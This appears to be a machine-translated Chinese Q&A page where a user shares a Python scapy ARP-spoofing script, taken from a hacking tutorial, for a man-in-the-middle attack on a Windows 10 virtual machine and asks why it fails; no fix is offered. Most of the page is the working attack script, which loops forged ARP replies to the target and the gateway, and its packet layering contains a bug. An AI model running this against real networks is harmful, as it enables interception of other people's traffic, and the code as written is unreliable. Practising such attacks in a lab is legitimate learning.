问题描述
下面给出的代码与教程中所示的完全相同(zsecurity) 似乎该代码仅在我的系统上不起作用。我在linux(虚拟盒)中运行此代码。
这是一个伪装,曾经是本地网络中的中间人。
我在另一个来宾操作系统Windows 10上实施了这种攻击。
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_reqest=arp_request/broadcast
answered_list =scapy.srp(arp_broadcast_reqest,timeout=1,verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_spoof(target_ip,spoof_ip):
target_mac= get_mac(target_ip)
packet= scapy.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=spoof_ip)
scapy.send(packet,verbose=False)
def restore(destination_ip,source_ip):
destination_mac=get_mac(destination_ip)
source_mac=get_mac(source_ip)
packet= scapy.ARP(op=2,pdst=destination_ip,hwdst=destination_mac,psrc=source_ip,hwsrc=source_mac)
scapy.send(packet,count=4,verbose=False)
target_ip="10.0.2.4"
gateway_ip="10.0.2.1"
try:
sent_packets = 0
while True:
arp_spoof(target_ip,gateway_ip)
arp_spoof(gateway_ip,target_ip)
sent_packets=sent_packets + 2
print("\r the packets sent:" + str(sent_packets)),sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("detectedd ctrl+c......quitting")
restore(target_ip,gateway_ip)
restore(gateway_ip,target_ip)
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)